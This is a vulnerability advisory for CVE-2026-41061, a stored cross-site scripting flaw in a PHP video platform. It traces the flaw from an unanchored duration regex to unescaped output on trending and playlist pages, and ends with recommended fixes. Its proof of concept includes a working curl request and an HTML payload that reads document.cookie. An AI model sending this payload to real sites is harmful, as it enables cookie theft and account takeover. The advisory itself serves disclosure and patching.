CVE-2026-41061

Description

## Summary The `isValidDuration()` regex at `objects/video.php:918` uses `/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/` without a `$` end anchor, allowing arbitrary HTML/JavaScript to be appended after a valid duration prefix. The crafted duration is stored in the database and rendered without HTML escaping via `echo Video::getCleanDuration()` on trending pages, playlist pages, and video gallery thumbnails, resulting in stored cross-site scripting. ## Details **Input entry point:** `objects/aVideoEncoderReceiveImage.json.php:208` ```php // Line 203-211 if (!empty($_REQUEST['duration'])) { $video->setDuration($_REQUEST['duration']); } ``` **Insufficient validation:** `objects/video.php:918` ```php static function isValidDuration($duration) { // ... return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration); // Missing $ anchor here -----------------------------------^ } ``` The regex matches `00:00:01` at the start of the string but ignores everything after it. A payload like `00:00:01</time><img src=x onerror=alert(1)><time>` passes validation. **No sanitization in output function:** `objects/video.php:3463-3480` ```php public static function getCleanDuration($duration = "") { $durationParts = explode(".", $duration); $duration = $durationParts[0]; $durationParts = explode(':', $duration); if (count($durationParts) == 1) { return '0:00:' . static::addZero($durationParts[0]); } elseif (count($durationParts) == 2) { return '0:' . static::addZero($durationParts[0]) . ':' . static::addZero($durationParts[1]); } return $duration; // Returns full string unmodified for 3+ colon parts } ``` With the payload `00:00:01</time><img src=x onerror=alert(1)><time>`, exploding by `:` yields 3+ parts, so the full unsanitized string is returned. **Unescaped output sinks:** 1. `view/trending.php:72`: ```php <time class="duration"><?php echo Video::getCleanDuration($value['duration']); ?></time> ``` 2. `view/include/playlist.php:159`: ```php <time class="duration"><?php echo Video::getCleanDuration(@$value['duration']); ?></time> ``` 3. `objects/video.php:7200` (gallery thumbnail generation): ```php $img .= "<time class=\"duration\"...>" . $duration . "</time>"; ``` No Content-Security-Policy headers are set. The application uses raw PHP templates with no auto-escaping framework. ## PoC 1. Authenticate as a user with upload permission and obtain a `video_id_hash` for a video (visible in encoder API responses or via the upload flow). 2. Send the malicious duration: ```bash curl -X POST "https://target/objects/aVideoEncoderReceiveImage.json.php" \ -d "videos_id=VIDEO_ID" \ -d "video_id_hash=HASH" \ -d 'duration=00:00:01</time><img src=x onerror=alert(document.cookie)><time>' ``` 3. The `isValidDuration()` regex matches the `00:00:01` prefix and allows the full string to be stored. 4. Visit the trending page (`/view/trending.php`) or any playlist containing the poisoned video. The injected HTML breaks out of the `<time>` tag and the `onerror` handler executes JavaScript in the victim's browser context. ## Impact - **Session hijacking**: Attacker can steal session cookies of any user (including administrators) who views a page listing the poisoned video (trending, playlists, search results, channel pages). - **Account takeover**: Stolen admin session cookies grant full platform control. - **Phishing**: Attacker can inject fake login forms or redirect users to malicious sites. - **Worm potential**: Since the XSS fires on commonly-visited listing pages (trending), it can propagate without targeted delivery — any visitor is a victim. The attack requires only upload-level permissions (low privilege) and impacts all users who view any page rendering the poisoned video's duration (high blast radius). ## Recommended Fix **Fix 1 — Anchor the regex** (`objects/video.php:918`): ```php - return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}/', $duration); + return preg_match('/^[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}(\.[0-9]+)?$/', $duration); ``` **Fix 2 — HTML-escape all duration output** (defense in depth): In `view/trending.php:72`: ```php - <time class="duration"><?php echo Video::getCleanDuration($value['duration']); ?></time> + <time class="duration"><?php echo htmlspecialchars(Video::getCleanDuration($value['duration']), ENT_QUOTES, 'UTF-8'); ?></time> ``` In `view/include/playlist.php:159`: ```php - <time class="duration"><?php echo Video::getCleanDuration(@$value['duration']); ?></time> + <time class="duration"><?php echo htmlspecialchars(Video::getCleanDuration(@$value['duration']), ENT_QUOTES, 'UTF-8'); ?></time> ``` In `objects/video.php:7200`: ```php - $img .= "<time class=\"duration\"...>" . $duration . "</time>"; + $img .= "<time class=\"duration\"...>" . htmlspecialchars($duration, ENT_QUOTES, 'UTF-8') . "</time>"; ``` Both fixes should be applied: the regex fix prevents storage of invalid data, and the output escaping provides defense in depth against any other code path that might store unvalidated durations.